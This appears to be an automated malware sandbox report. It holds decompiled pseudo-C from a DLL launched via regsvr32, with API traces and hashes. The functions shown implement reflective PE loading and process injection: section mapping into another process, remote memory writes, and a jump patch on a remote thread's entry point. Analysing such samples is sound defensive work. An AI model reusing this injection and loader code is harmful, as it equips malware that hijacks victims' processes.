0x00000000
0x6d7f4ddf

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 6D7F4DB3
GetModuleHandleA.KERNEL32(00000000), ref: 6D7F4DBA
lstrcpynW.KERNEL32(02910158,00000105), ref: 6D7F5262
lstrcpynW.KERNEL32(02910368,00000105), ref: 6D7F5276

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModulelstrcpyn
String ID:
API String ID: 3430401031-0
Opcode ID: b10f39ee2d4ffb659de670a77224fe51d55672e65904889014f56a4e88262a32
Instruction ID: dcc1d3fa58e058d500b40f9f03024c3c99d8239e055305c6b60fec2bf5b93c7b
Opcode Fuzzy Hash: b10f39ee2d4ffb659de670a77224fe51d55672e65904889014f56a4e88262a32
Instruction Fuzzy Hash: F6E19071608301AFE724CF64DE49B6A73E9AF88328F414A2EF654D7280EB74D946C753

Uniqueness

Uniqueness Score: -1.00%

Function 6D802B24, Relevance: 6.2, APIs: 4, Instructions: 219
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6D802B24(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				signed int* _v20;
				intOrPtr _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				intOrPtr* _v40;
				signed short* _v44;
				intOrPtr _v48;
				unsigned int _v52;
				intOrPtr _v56;
				_Unknown_base(*)()* _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				unsigned int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _t149;
				void* _t189;
				signed int _t194;
				signed int _t196;
				intOrPtr _t236;

				_v72 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v24 = _v72;
				_t236 = _a4 -  *((intOrPtr*)(_v24 + 0x34));
				_v56 = _t236;
				if(_t236 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v24 + 0xbadc25)) == 0) {
						L35:
						_v68 =  *((intOrPtr*)(_v24 + 0x28)) + _a4;
						while(0 != 0) {
						}
						if(_a12 != 0) {
							 *_a12 = _v68;
						}
						 *((intOrPtr*)(_v24 + 0x34)) = _a4;
						return _v68(_a4, 1, _a8);
					}
					_v84 = 0x80000000;
					_t149 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v24 + (_t149 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v20 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v20 =  *_v16 + _a4;
							}
							_v64 = _v64 & 0x00000000;
							while( *_v20 != 0) {
								if(( *_v20 & _v84) == 0) {
									_v88 =  *_v20 + _a4;
									_v60 = GetProcAddress(_v36, _v88 + 2);
								} else {
									_v60 = GetProcAddress(_v36,  *_v20 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v20 = _v60;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v64) = _v60;
								}
								_v20 =  &(_v20[1]);
								_v64 = _v64 + 4;
							}
							_v16 = _v16 + 0x14;
							continue;
						} else {
							_t189 = 0xfffffffd;
							return _t189;
						}
					}
					goto L35;
				}
				_t194 = 8;
				_v44 = _a4 +  *((intOrPtr*)(_v24 + 0x78 + _t194 * 5));
				_t196 = 8;
				_v48 =  *((intOrPtr*)(_v24 + 0x7c + _t196 * 5));
				while(0 != 0) {
				}
				while(_v48 > 0) {
					_v28 = _v44[2];
					_v48 = _v48 - _v28;
					_v28 = _v28 - 8;
					_v28 = _v28 >> 1;
					_v32 =  &(_v44[4]);
					_v80 = _a4 +  *_v44;
					_v52 = _v28;
					while(1) {
						_v76 = _v52;
						_v52 = _v52 - 1;
						if(_v76 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v40 = (_v12 & 0x0000ffff) + _v80;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v40 =  *_v40 + _v56;
							}
						} else {
							 *_v40 =  *_v40 + _v56;
						}
						_v32 =  &(_v32[1]);
					}
					_v44 = _v32;
				}
				goto L13;
			}

0x6d802b33
0x6d802b39
0x6d802b42
0x6d802b45
0x6d802b48
0x00000000
0x6d802c39
0x6d802c3d
0x6d802c3f
0x6d802c4d
0x6d802d6b
0x6d802d74
0x6d802d77
0x6d802d7b
0x6d802d81
0x6d802d89
0x6d802d89
0x6d802d91
0x00000000
0x6d802d9c
0x6d802c53
0x6d802c5c
0x6d802c6a
0x6d802c6d
0x6d802c8a
0x6d802c91
0x6d802ca3
0x6d802ca3
0x6d802caa
0x6d802cba
0x6d802cd2
0x6d802cbc
0x6d802cc4
0x6d802cc4
0x6d802cd5
0x6d802cd9
0x6d802ce9
0x6d802d0c
0x6d802d1e
0x6d802ceb
0x6d802cff
0x6d802cff
0x6d802d28
0x6d802d44
0x6d802d2a
0x6d802d39
0x6d802d39
0x6d802d4c
0x6d802d55
0x6d802d55
0x6d802d63
0x00000000
0x6d802cac
0x6d802cae
0x00000000
0x6d802cae
0x6d802caa
0x00000000
0x6d802c6d
0x6d802b50
0x6d802b5e
0x6d802b63
0x6d802b6e
0x6d802b71
0x6d802b75
0x6d802b77
0x6d802b87
0x6d802b90
0x6d802b99
0x6d802ba1
0x6d802baa
0x6d802bb5
0x6d802bbb
0x6d802bbe
0x6d802bc1
0x6d802bc8
0x6d802bcf
0x00000000
0x00000000
0x6d802bda
0x6d802be8
0x6d802bf3
0x6d802bfd
0x6d802c15
0x6d802c22
0x6d802c22
0x6d802bff
0x6d802c0a
0x6d802c0a
0x6d802c29
0x6d802c29
0x6d802c31
0x6d802c31
0x00000000

APIs

GetModuleHandleA.KERNEL32(?), ref: 6D802C84
LoadLibraryA.KERNEL32(?), ref: 6D802C9D
GetProcAddress.KERNEL32(00000000,890CC483), ref: 6D802CF9
GetProcAddress.KERNEL32(00000000,?), ref: 6D802D18

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: e3db6293936fb7ea20e4f3e887837d1bad3c6614b034f49e3fbca48bc8623a68
Instruction ID: f7351f38002c59f9fadfc6435fa2c354c5a12a38ae557e63e54bae7789fdc6eb
Opcode Fuzzy Hash: e3db6293936fb7ea20e4f3e887837d1bad3c6614b034f49e3fbca48bc8623a68
Instruction Fuzzy Hash: 6EA17A75A1120AEFDB15CF98C885BADBBF0FF09314F108959E825AB351D778A981CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6D7F1C51, Relevance: 6.1, APIs: 4, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6D7F1C51(signed int __ecx, void* __eflags, void* __fp0) {
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t13;
				intOrPtr _t15;
				signed int _t16;
				intOrPtr _t17;
				signed int _t18;
				char _t20;
				intOrPtr _t22;
				void* _t23;
				void* _t24;
				intOrPtr _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t48;
				void* _t51;
				signed int _t61;
				signed int _t64;
				void* _t71;

				_t71 = __fp0;
				_t61 = __ecx;
				_t41 =  *0x6d80e6dc; // 0x0
				_t13 = E6D7FA501(_t41, 0);
				while(_t13 < 0) {
					E6D7F97ED( &_v28);
					_t43 =  *0x6d80e6e0; // 0x0
					_t15 =  *0x6d80e6e4; // 0x0
					_t41 = _t43 + 0xe10;
					asm("adc eax, ebx");
					__eflags = _t15 - _v24;
					if(__eflags > 0) {
						L9:
						_t16 = 0xfffffffe;
						L13:
						return _t16;
					}
					if(__eflags < 0) {
						L4:
						_t17 =  *0x6d80e684; // 0x298faa0
						_t18 =  *((intOrPtr*)(_t17 + 0xc8))( *0x6d80e6d0, 0);
						__eflags = _t18;
						if(_t18 == 0) {
							break;
						}
						_t35 =  *0x6d80e684; // 0x298faa0
						 *((intOrPtr*)(_t35 + 0xb4))(0x3e8);
						_t41 =  *0x6d80e6dc; // 0x0
						__eflags = 0;
						_t13 = E6D7FA501(_t41, 0);
						continue;
					}
					__eflags = _t41 - _v28;
					if(_t41 >= _v28) {
						goto L9;
					}
					goto L4;
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t20 =  *0x6d80e6e8; // 0x0
				_v28 = _t20;
				_t22 = E6D7FA6EB(_t41, _t61,  &_v16);
				_v20 = _t22;
				if(_t22 != 0) {
					_t23 = GetCurrentProcess();
					_t24 = GetCurrentThread();
					DuplicateHandle(GetCurrentProcess(), _t24, _t23, 0x6d80e6d0, 0, 0, 2);
					E6D7F97ED(0x6d80e6e0);
					_t64 = E6D7F1A01( &_v28, E6D7F1226, _t71);
					__eflags = _t64;
					if(_t64 >= 0) {
						_push(0);
						_push( *0x6d80e760);
						_t51 = 0x27;
						E6D7F9ED1(_t51);
					}
				} else {
					_t64 = _t61 | 0xffffffff;
				}
				_t29 =  *0x6d80e684; // 0x298faa0
				 *((intOrPtr*)(_t29 + 0x30))( *0x6d80e6d0);
				_t48 =  *0x6d80e6dc; // 0x0
				 *0x6d80e6d0 = 0;
				E6D7FA51D(_t48);
				E6D7F85FB( &_v24, 0);
				_t16 = _t64;
				goto L13;
			}

0x6d7f1c51
0x6d7f1c5e
0x6d7f1c60
0x6d7f1c67
0x6d7f1ccd
0x6d7f1c74
0x6d7f1c79
0x6d7f1c7f
0x6d7f1c84
0x6d7f1c8a
0x6d7f1c8c
0x6d7f1c90
0x6d7f1cfe
0x6d7f1d00
0x6d7f1d82
0x6d7f1d88
0x6d7f1d88
0x6d7f1c92
0x6d7f1c9a
0x6d7f1c9a
0x6d7f1ca6
0x6d7f1cac
0x6d7f1cae
0x00000000
0x00000000
0x6d7f1cb0
0x6d7f1cba
0x6d7f1cc0
0x6d7f1cc6
0x6d7f1cc8
0x00000000
0x6d7f1cc8
0x6d7f1c94
0x6d7f1c98
0x00000000
0x00000000
0x00000000
0x6d7f1c98
0x6d7f1cd7
0x6d7f1cd8
0x6d7f1cd9
0x6d7f1cda
0x6d7f1cdb
0x6d7f1ce0
0x6d7f1cea
0x6d7f1cef
0x6d7f1cf7
0x6d7f1d12
0x6d7f1d15
0x6d7f1d1f
0x6d7f1d2a
0x6d7f1d3d
0x6d7f1d3f
0x6d7f1d41
0x6d7f1d43
0x6d7f1d44
0x6d7f1d4c
0x6d7f1d4d
0x6d7f1d53
0x6d7f1cf9
0x6d7f1cf9
0x6d7f1cf9
0x6d7f1d54
0x6d7f1d5f
0x6d7f1d62
0x6d7f1d68
0x6d7f1d6e
0x6d7f1d79
0x6d7f1d80
0x00000000

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27e7775043858bd6c8ac733c7b2e7a305fbef2fe8081b5bd9abdef9fc019a31
Instruction ID: 9be59d424286442001ae497d92605d521df9e9dabec28ba2a3d3a4befde13bbc
Opcode Fuzzy Hash: b27e7775043858bd6c8ac733c7b2e7a305fbef2fe8081b5bd9abdef9fc019a31
Instruction Fuzzy Hash: E031637260C2059FDB259F64EA8CA2B77B9AB49274F01062EFA61C7390DB309805C793

Uniqueness

Uniqueness Score: -1.00%

Function 6D7F1B16, Relevance: 6.1, APIs: 4, Instructions: 97
threadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6D7F1B16(void* __eflags, void* __fp0) {
				char _v24;
				char _v28;
				void* _t12;
				intOrPtr _t14;
				void* _t15;
				intOrPtr _t16;
				void* _t17;
				void* _t19;
				void* _t20;
				char _t24;
				intOrPtr _t26;
				intOrPtr _t28;
				intOrPtr _t33;
				intOrPtr _t38;
				intOrPtr _t40;
				void* _t41;
				intOrPtr _t46;
				void* _t48;
				intOrPtr _t51;
				void* _t61;
				void* _t71;

				_t71 = __fp0;
				_t38 =  *0x6d80e6f4; // 0x0
				_t12 = E6D7FA501(_t38, 0);
				while(_t12 < 0) {
					E6D7F97ED( &_v28);
					_t40 =  *0x6d80e700; // 0x0
					_t14 =  *0x6d80e704; // 0x0
					_t41 = _t40 + 0x3840;
					asm("adc eax, ebx");
					__eflags = _t14 - _v24;
					if(__eflags > 0) {
						L13:
						_t15 = 0;
					} else {
						if(__eflags < 0) {
							L4:
							_t16 =  *0x6d80e684; // 0x298faa0
							_t17 =  *((intOrPtr*)(_t16 + 0xc8))( *0x6d80e6ec, 0);
							__eflags = _t17;
							if(_t17 == 0) {
								break;
							} else {
								_t33 =  *0x6d80e684; // 0x298faa0
								 *((intOrPtr*)(_t33 + 0xb4))(0x1388);
								_t51 =  *0x6d80e6f4; // 0x0
								__eflags = 0;
								_t12 = E6D7FA501(_t51, 0);
								continue;
							}
						} else {
							__eflags = _t41 - _v28;
							if(_t41 >= _v28) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
					L12:
					return _t15;
				}
				E6D7F97ED(0x6d80e700);
				_t19 = GetCurrentProcess();
				_t20 = GetCurrentThread();
				DuplicateHandle(GetCurrentProcess(), _t20, _t19, 0x6d80e6ec, 0, 0, 2);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t24 =  *0x6d80e6e8; // 0x0
				_v28 = _t24;
				_t61 = E6D7F1A01( &_v28, E6D7F1310, _t71);
				if(_t61 >= 0) {
					_push(0);
					_push( *0x6d80e760);
					_t48 = 0x27;
					E6D7F9ED1(_t48);
				}
				if(_v24 != 0) {
					E6D7F6871( &_v24);
				}
				_t26 =  *0x6d80e684; // 0x298faa0
				 *((intOrPtr*)(_t26 + 0x30))( *0x6d80e6ec);
				_t28 =  *0x6d80e758; // 0x0
				 *0x6d80e6ec = 0;
				_t29 =  !=  ? 1 : _t28;
				_t46 =  *0x6d80e6f4; // 0x0
				 *0x6d80e758 =  !=  ? 1 : _t28;
				E6D7FA51D(_t46);
				_t15 = _t61;
				goto L12;
			}

0x6d7f1b16
0x6d7f1b1c
0x6d7f1b2a
0x6d7f1b98
0x6d7f1b37
0x6d7f1b3c
0x6d7f1b42
0x6d7f1b47
0x6d7f1b4d
0x6d7f1b4f
0x6d7f1b53
0x6d7f1c4d
0x6d7f1c4d
0x6d7f1b59
0x6d7f1b59
0x6d7f1b65
0x6d7f1b65
0x6d7f1b71
0x6d7f1b77
0x6d7f1b79
0x00000000
0x6d7f1b7b
0x6d7f1b7b
0x6d7f1b85
0x6d7f1b8b
0x6d7f1b91
0x6d7f1b93
0x00000000
0x6d7f1b93
0x6d7f1b5b
0x6d7f1b5b
0x6d7f1b5f
0x00000000
0x00000000
0x00000000
0x00000000
0x6d7f1b5f
0x6d7f1b59
0x6d7f1c46
0x6d7f1c4c
0x6d7f1c4c
0x6d7f1ba1
0x6d7f1bb5
0x6d7f1bb8
0x6d7f1bc2
0x6d7f1bce
0x6d7f1bd8
0x6d7f1bd9
0x6d7f1bda
0x6d7f1bdb
0x6d7f1be0
0x6d7f1be9
0x6d7f1bed
0x6d7f1bef
0x6d7f1bf0
0x6d7f1bf8
0x6d7f1bf9
0x6d7f1bff
0x6d7f1c04
0x6d7f1c0a
0x6d7f1c0a
0x6d7f1c0f
0x6d7f1c1a
0x6d7f1c1d
0x6d7f1c25
0x6d7f1c31
0x6d7f1c34
0x6d7f1c3a
0x6d7f1c3f
0x6d7f1c44
0x00000000

APIs

GetCurrentProcess.KERNEL32(6D80E6EC,00000000,00000000,00000002), ref: 6D7F1BB5
GetCurrentThread.KERNEL32(00000000), ref: 6D7F1BB8
GetCurrentProcess.KERNEL32(00000000), ref: 6D7F1BBF
DuplicateHandle.KERNEL32 ref: 6D7F1BC2

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: Current$Process$DuplicateHandleThread
String ID:
API String ID: 3566409357-0
Opcode ID: 5882380e6d56b5ddfb59a4ebfb592859a17548c69d2422b097252382ee2237b3
Instruction ID: 7d0567def6a784b237c5e06465390870ad74a2b873ecb68c5e489c0f6a1cb825
Opcode Fuzzy Hash: 5882380e6d56b5ddfb59a4ebfb592859a17548c69d2422b097252382ee2237b3
Instruction Fuzzy Hash: 533161B16082019FDB25DF64DA8CA2B77B9EB5A264F01492DF621C7391DB309846CB93

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exe PID: 1836 Parent PID: 1164 regsvr32.exeCOMMON

Executed Functions

Function 6C4DC702, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 200
nativeregistrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6C4DC702(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				long _v28;
				void* _v32;
				intOrPtr _v36;
				long _v40;
				void* _v44;
				char _v56;
				char _v72;
				struct _WNDCLASSEXA _v120;
				void* _t69;
				intOrPtr _t75;
				struct HWND__* _t106;
				intOrPtr* _t113;
				struct _EXCEPTION_RECORD _t116;
				void* _t126;
				void* _t131;
				intOrPtr _t134;
				void* _t140;
				void* _t141;

				_t69 =  *0x6c4ee688; // 0x2130590
				_t126 = __ecx;
				_t134 = __edx;
				_t116 = 0;
				_v36 = __edx;
				_v16 = 0;
				_v44 = 0;
				_v40 = 0;
				_v12 = 0;
				_v8 = 0;
				_v24 = 0;
				_v20 = __ecx;
				if(( *(_t69 + 0x1898) & 0x00000040) != 0) {
					E6C4DE280(0x1f4);
					_t116 = 0;
				}
				_t113 =  *((intOrPtr*)(_t134 + 0x3c)) + _t134;
				_v28 = _t116;
				if( *_t113 != 0x4550) {
					L12:
					if(_v8 != 0) {
						_t75 =  *0x6c4ee780; // 0x21afbc8
						 *((intOrPtr*)(_t75 + 0x10))(_t126, _v8);
						_v8 = _v8 & 0x00000000;
					}
					L14:
					if(_v12 != 0) {
						NtUnmapViewOfSection(GetCurrentProcess(), _v12);
					}
					if(_v16 != 0) {
						NtClose(_v16);
					}
					return _v8;
				}
				_v44 =  *((intOrPtr*)(_t113 + 0x50));
				if(NtCreateSection( &_v16, 0xe, _t116,  &_v44, 0x40, 0x8000000, _t116) < 0) {
					goto L12;
				}
				_v120.style = 0xb;
				_v120.cbSize = 0x30;
				_v120.lpszClassName =  &_v56;
				asm("movsd");
				_v120.lpfnWndProc = DefWindowProcA;
				asm("movsd");
				asm("movsd");
				asm("movsb");
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_v120.cbWndExtra = 0;
				_v120.lpszMenuName = 0;
				_v120.cbClsExtra = 0;
				_v120.hInstance = 0;
				if(RegisterClassExA( &_v120) != 0) {
					_t106 = CreateWindowExA(0,  &_v56,  &_v72, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, 0, 0, 0, 0); // executed
					if(_t106 != 0) {
						DestroyWindow(_t106); // executed
						UnregisterClassA( &_v56, 0);
					}
				}
				if(NtMapViewOfSection(_v16, GetCurrentProcess(),  &_v12, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0) {
					_t126 = _v20;
					goto L12;
				} else {
					_t126 = _v20;
					if(NtMapViewOfSection(_v16, _t126,  &_v8, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0) {
						goto L12;
					}
					_t140 = E6C4D864A( *0x6c4ee688, 0x1ac4);
					_v32 = _t140;
					if(_t140 == 0) {
						goto L12;
					}
					 *((intOrPtr*)(_t140 + 0x224)) = _v8;
					_t131 = VirtualAllocEx(_t126, 0, 0x1ac4, 0x1000, 4);
					WriteProcessMemory(_v20, _t131, _t140, 0x1ac4,  &_v28);
					E6C4D85FB( &_v32, 0x1ac4);
					_t141 =  *0x6c4ee688; // 0x2130590
					 *0x6c4ee688 = _t131;
					E6C4D86C2(_v12, _v36,  *((intOrPtr*)(_t113 + 0x50)));
					E6C4DC681(_v12, _v8, _v36);
					 *0x6c4ee688 = _t141;
					goto L14;
				}
			}

0x6c4dc708
0x6c4dc70f
0x6c4dc711
0x6c4dc713
0x6c4dc715
0x6c4dc718
0x6c4dc71b
0x6c4dc71e
0x6c4dc721
0x6c4dc724
0x6c4dc727
0x6c4dc731
0x6c4dc734
0x6c4dc73b
0x6c4dc740
0x6c4dc740
0x6c4dc746
0x6c4dc748
0x6c4dc751
0x6c4dc8f7
0x6c4dc8fb
0x6c4dc900
0x6c4dc906
0x6c4dc909
0x6c4dc909
0x6c4dc90d
0x6c4dc912
0x6c4dc924
0x6c4dc924
0x6c4dc92d
0x6c4dc937
0x6c4dc937
0x6c4dc93e
0x6c4dc93e
0x6c4dc760
0x6c4dc77a
0x00000000
0x00000000
0x6c4dc785
0x6c4dc78f
0x6c4dc799
0x6c4dc79c
0x6c4dc7a2
0x6c4dc7a9
0x6c4dc7aa
0x6c4dc7ab
0x6c4dc7b4
0x6c4dc7b5
0x6c4dc7b6
0x6c4dc7b8
0x6c4dc7bb
0x6c4dc7be
0x6c4dc7c1
0x6c4dc7c4
0x6c4dc7d0
0x6c4dc7f2
0x6c4dc7fa
0x6c4dc7fd
0x6c4dc808
0x6c4dc808
0x6c4dc7fa
0x6c4dc833
0x6c4dc8f4
0x00000000
0x6c4dc839
0x6c4dc845
0x6c4dc85a
0x00000000
0x00000000
0x6c4dc870
0x6c4dc872
0x6c4dc879
0x00000000
0x00000000
0x6c4dc88a
0x6c4dc8a1
0x6c4dc8b1
0x6c4dc8bd
0x6c4dc8c2
0x6c4dc8c8
0x6c4dc8d8
0x6c4dc8e4
0x6c4dc8ec
0x00000000
0x6c4dc8ec

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,6C4D5CCD), ref: 6C4DC775
RegisterClassExA.USER32 ref: 6C4DC7C7
CreateWindowExA.USER32 ref: 6C4DC7F2
DestroyWindow.USER32 ref: 6C4DC7FD
UnregisterClassA.USER32(?,00000000), ref: 6C4DC808
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 6C4DC824
NtMapViewOfSection.NTDLL(?,00000000), ref: 6C4DC82E
NtMapViewOfSection.NTDLL(?,6C4DCBE2,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 6C4DC855
VirtualAllocEx.KERNEL32(6C4DCBE2,00000000,00001AC4,00001000,00000004), ref: 6C4DC898
WriteProcessMemory.KERNEL32(6C4DCBE2,00000000,00000000,00001AC4,?), ref: 6C4DC8B1

Part of subcall function 6C4D85FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6C4D8641

GetCurrentProcess.KERNEL32(00000000), ref: 6C4DC91D
NtUnmapViewOfSection.NTDLL(00000000), ref: 6C4DC924
NtClose.NTDLL(00000000), ref: 6C4DC937

Strings

cdcdwqwqwq, xrefs: 6C4DC7AC
0, xrefs: 6C4DC78F
sadccdcdsasa, xrefs: 6C4DC780

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$ProcessView$ClassCreateCurrentWindow$AllocCloseDestroyFreeHeapMemoryRegisterUnmapUnregisterVirtualWrite
String ID: 0$cdcdwqwqwq$sadccdcdsasa
API String ID: 2002808388-2319545179
Opcode ID: 81a01a6d9c4edd72d030cf42c5c4a89c98b87b673cb4ce2ad46fcc9493287dee
Instruction ID: 7873c8d51ff80c409f8d50f15924615b0e7dfef242f7e9a08dac731305de5fe5
Opcode Fuzzy Hash: 81a01a6d9c4edd72d030cf42c5c4a89c98b87b673cb4ce2ad46fcc9493287dee
Instruction Fuzzy Hash: 59712C71E01209AFEF10EF95C958EEEBBB9FB49705F22005AF505B7241D770AA01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6C54F9DD, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000862,00003000,00000040,00000862,6C54F430), ref: 6C54FA9A
VirtualAlloc.KERNEL32(00000000,00000183,00003000,00000040,6C54F48F), ref: 6C54FAD1
VirtualAlloc.KERNEL32(00000000,00022F3E,00003000,00000040), ref: 6C54FB31
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6C54FB67
VirtualProtect.KERNEL32(6C4D0000,00000000,00000004,6C54F9BC), ref: 6C54FC6C
VirtualProtect.KERNEL32(6C4D0000,00001000,00000004,6C54F9BC), ref: 6C54FC93
VirtualProtect.KERNEL32(00000000,?,00000002,6C54F9BC), ref: 6C54FD60
VirtualProtect.KERNEL32(00000000,?,00000002,6C54F9BC,?), ref: 6C54FDB6
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6C54FDD2

Memory Dump Source

Source File: 00000006.00000002.584686848.000000006C54F000.00000040.00020000.sdmp, Offset: 6C54F000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: fb6c431101c8dc3f584e26c8fffcf4f1a6c937530c03ec3e596e96422c63e17b
Instruction ID: c5383b899432239b17d9e3d1fdaaa823c9bdc04ffc17218304ed1f8264379af4
Opcode Fuzzy Hash: fb6c431101c8dc3f584e26c8fffcf4f1a6c937530c03ec3e596e96422c63e17b
Instruction Fuzzy Hash: 1AD1A136102202AFDF11CF9ACC80B9577A5FF48754B1842D6EE19AFB5AD370A84DCB64

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DCBB9, Relevance: 7.6, APIs: 5, Instructions: 105
nativeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6C4DCBB9(void* __ecx, void** __edx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v23;
				void _v24;
				long _v28;
				void* _v568;
				void _v744;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t32;
				intOrPtr _t33;
				intOrPtr _t35;
				void* _t39;
				intOrPtr _t43;
				void* _t63;
				long _t65;
				void* _t70;
				void** _t73;
				void* _t74;

				_t73 = __edx;
				_t63 = __ecx;
				_t74 = 0;
				if(E6C4DC510(__ecx, __edx, __edx, 0) != 0) {
					_t39 = E6C4DC702( *((intOrPtr*)(__edx)), _a4); // executed
					_t74 = _t39;
					if(_t74 != 0) {
						memset( &_v744, 0, 0x2cc);
						_v744 = 0x10002;
						_push( &_v744);
						_t43 =  *0x6c4ee684; // 0x21afaa0
						_push(_t73[1]);
						if( *((intOrPtr*)(_t43 + 0xa8))() != 0) {
							_t70 = _v568;
							_v12 = _v12 & 0x00000000;
							_v24 = 0xe9;
							_t65 = 5;
							_v23 = _t74 - _t70 - _a4 + _t63 + 0xfffffffb;
							_v8 = _t65;
							_v16 = _t70;
							if(NtProtectVirtualMemory( *_t73,  &_v16,  &_v8, 4,  &_v12) < 0 || NtWriteVirtualMemory( *_t73, _v568,  &_v24, _t65,  &_v8) < 0) {
								L6:
								_t74 = 0;
							} else {
								_v28 = _v28 & 0x00000000;
								if(NtProtectVirtualMemory( *_t73,  &_v16,  &_v8, _v12,  &_v28) < 0) {
									goto L6;
								}
							}
						}
					}
				}
				_t32 =  *0x6c4ee77c; // 0x0
				if(_t32 != 0) {
					FreeLibrary(_t32);
					 *0x6c4ee77c =  *0x6c4ee77c & 0x00000000;
				}
				_t33 =  *0x6c4ee784; // 0x0
				if(_t33 != 0) {
					_t35 =  *0x6c4ee684; // 0x21afaa0
					 *((intOrPtr*)(_t35 + 0x10c))(_t33);
					E6C4D85FB(0x6c4ee784, 0xfffffffe);
				}
				return _t74;
			}

0x6c4dcbc5
